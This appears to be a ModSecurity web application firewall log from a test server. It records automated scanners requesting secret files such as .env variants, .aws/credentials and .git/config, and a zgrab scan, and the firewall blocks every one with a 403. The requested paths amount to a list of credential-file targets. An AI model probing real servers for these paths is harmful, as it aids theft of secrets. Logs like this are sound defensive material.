[Tue Sep 09 15:05:02.442316 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMAAAAAc&quot;]
[Tue Sep 09 15:05:02.539267 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMQAAAAc&quot;]
[Tue Sep 09 15:05:02.539483 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMQAAAAc&quot;]
[Tue Sep 09 15:05:02.539656 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMQAAAAc&quot;]
[Tue Sep 09 15:05:02.636878 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMgAAAAc&quot;]
[Tue Sep 09 15:05:02.637084 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMgAAAAc&quot;]
[Tue Sep 09 15:05:02.637287 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMgAAAAc&quot;]
[Tue Sep 09 15:05:02.734281 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMwAAAAc&quot;]
[Tue Sep 09 15:05:02.734536 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMwAAAAc&quot;]
[Tue Sep 09 15:05:02.734727 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxMwAAAAc&quot;]
[Tue Sep 09 15:05:02.831574 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNAAAAAc&quot;]
[Tue Sep 09 15:05:02.831781 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNAAAAAc&quot;]
[Tue Sep 09 15:05:02.831961 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNAAAAAc&quot;]
[Tue Sep 09 15:05:02.930210 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNQAAAAc&quot;]
[Tue Sep 09 15:05:02.930461 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNQAAAAc&quot;]
[Tue Sep 09 15:05:02.930644 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aMAl_lSrOgbtr_HnXCKxNQAAAAc&quot;]
[Tue Sep 09 15:05:03.027401 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNgAAAAc&quot;]
[Tue Sep 09 15:05:03.027597 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNgAAAAc&quot;]
[Tue Sep 09 15:05:03.027760 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNgAAAAc&quot;]
[Tue Sep 09 15:05:03.125075 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNwAAAAc&quot;]
[Tue Sep 09 15:05:03.125279 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNwAAAAc&quot;]
[Tue Sep 09 15:05:03.125498 2025] [:error] [pid 2595931] [client 54.82.1.127:62751] [client 54.82.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aMAl_1SrOgbtr_HnXCKxNwAAAAc&quot;]
[Wed Sep 10 09:48:13.144836 2025] [:error] [pid 2617022] [client 93.123.109.7:60944] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMEtPR5e1iLGGHbQEhX6qAAAAAY&quot;]
[Wed Sep 10 09:48:13.145156 2025] [:error] [pid 2617022] [client 93.123.109.7:60944] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMEtPR5e1iLGGHbQEhX6qAAAAAY&quot;]
[Wed Sep 10 09:48:13.145309 2025] [:error] [pid 2617022] [client 93.123.109.7:60944] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMEtPR5e1iLGGHbQEhX6qAAAAAY&quot;]
[Thu Sep 11 14:10:47.843892 2025] [:error] [pid 2641808] [client 68.183.146.153:45010] [client 68.183.146.153] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMK8RzP-zgEHfk85WOuzcgAAAAI&quot;]
[Thu Sep 11 14:10:47.846152 2025] [:error] [pid 2641808] [client 68.183.146.153:45010] [client 68.183.146.153] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMK8RzP-zgEHfk85WOuzcgAAAAI&quot;]
[Thu Sep 11 14:10:47.846335 2025] [:error] [pid 2641808] [client 68.183.146.153:45010] [client 68.183.146.153] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMK8RzP-zgEHfk85WOuzcgAAAAI&quot;]
[Sat Sep 13 01:35:01.133547 2025] [:error] [pid 2688442] [client 176.65.148.43:55488] [client 176.65.148.43] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMSuJeoxPDI9NHFCBOuQvgAAAAo&quot;]
[Sat Sep 13 01:35:01.134568 2025] [:error] [pid 2688442] [client 176.65.148.43:55488] [client 176.65.148.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMSuJeoxPDI9NHFCBOuQvgAAAAo&quot;]
[Sat Sep 13 01:35:01.134752 2025] [:error] [pid 2688442] [client 176.65.148.43:55488] [client 176.65.148.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aMSuJeoxPDI9NHFCBOuQvgAAAAo&quot;]
[Sun Sep 14 20:50:14.829662 2025] [:error] [pid 2717410] [client 18.224.192.118:44307] [client 18.224.192.118] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aMcOZmAU4eyHqXvSYJg4XAAAAAA&quot;]
[Sun Sep 14 20:50:14.831037 2025] [:error] [pid 2717410] [client 18.224.192.118:44307] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aMcOZmAU4eyHqXvSYJg4XAAAAAA&quot;]
